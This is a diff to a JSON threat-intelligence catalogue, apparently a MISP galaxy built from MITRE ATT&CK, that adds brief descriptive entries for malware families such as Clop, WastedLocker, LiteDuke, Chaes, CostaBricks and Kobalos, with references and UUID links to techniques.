+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -20857,6 +23350,147 @@
"uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069",
"value": "XAgentOSX - S0161"
},
+ {
+ "description": "[Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021) ",
+ "meta": {
+ "external_id": "S0611",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0611",
+ "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/",
+ "https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware",
+ "https://unit42.paloaltonetworks.com/clop-ransomware/"
+ ],
+ "synonyms": [
+ "Clop"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "cad3ba95-8c89-4146-ab10-08daa813f9de",
+ "value": "Clop - S0611"
+ },
{
"description": "[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)",
"meta": {
@@ -22318,7 +24952,7 @@
"type": "uses"
},
{
- "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -22401,13 +25035,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
"tags": [
@@ -23467,6 +26094,168 @@
"uuid": "f108215f-3487-489d-be8b-80e346d32518",
"value": "Komplex - S0162"
},
+ {
+ "description": "[WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020) ",
+ "meta": {
+ "external_id": "S0612",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0612",
+ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us",
+ "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/",
+ "https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/"
+ ],
+ "synonyms": [
+ "WastedLocker"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "46cbafbc-8907-42d3-9002-5327c26f8927",
+ "value": "WastedLocker - S0612"
+ },
{
"description": "[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)",
"meta": {
@@ -24107,7 +26896,7 @@
"value": "SLOWDRIFT - S0218"
},
{
- "description": "[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017).",
+ "description": "[Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok)",
"meta": {
"external_id": "S0281",
"mitre_platforms": [
@@ -24115,7 +26904,9 @@
],
"refs": [
"https://attack.mitre.org/software/S0281",
- "https://objective-see.com/blog/blog_0x25.html"
+ "https://objective-see.com/blog/blog_0x25.html",
+ "http://www.hexed.in/2019/07/osxdok-analysis.html",
+ "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
],
"synonyms": [
"Dok",
@@ -24137,13 +26928,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d",
"tags": [
@@ -24164,6 +26948,48 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "f36b2598-515f-4345-84e5-5ccde253edbe",
@@ -25223,6 +28049,117 @@
"uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
"value": "HIDEDRV - S0135"
},
+ {
+ "description": "[LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)",
+ "meta": {
+ "external_id": "S0513",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0513",
+ "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"
+ ],
+ "synonyms": [
+ "LiteDuke"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "95e2cbae-d82c-4f7b-b63c-16462015d35d",
+ "value": "LiteDuke - S0513"
+ },
{
"description": "[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)",
"meta": {
@@ -25885,6 +28822,215 @@
"uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
"value": "USBStealer - S0136"
},
+ {
+ "description": "[Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)",
+ "meta": {
+ "external_id": "S0631",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0631",
+ "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf"
+ ],
+ "synonyms": [
+ "Chaes"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2cd950a6-16c4-404a-aa01-044322395107",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "77e0ecf7-ca91-4c06-8012-8e728986a87a",
+ "value": "Chaes - S0631"
+ },
{
"description": "[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)",
"meta": {
@@ -27232,13 +30378,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6",
"tags": [
@@ -27441,6 +30580,54 @@
"uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
"value": "TEXTMATE - S0146"
},
+ {
+ "description": "[CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)",
+ "meta": {
+ "external_id": "S0614",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0614",
+ "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"
+ ],
+ "synonyms": [
+ "CostaBricks"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "5d342981-5194-41e7-b33f-8e91998d7d88",
+ "value": "CostaBricks - S0614"
+ },
{
"description": "[SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)",
"meta": {
@@ -27705,6 +30892,132 @@
"uuid": "0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
"value": "TDTESS - S0164"
},
+ {
+ "description": "[Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)",
+ "meta": {
+ "external_id": "S0641",
+ "mitre_platforms": [
+ "Linux"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0641",
+ "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/",
+ "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"
+ ],
+ "synonyms": [
+ "Kobalos"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "9abdda30-08e0-4ab1-9cf0-d447654c6de9",
+ "value": "Kobalos - S0641"
+ },
{
"description": "[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)",
"meta": {
@@ -29250,6 +32563,273 @@
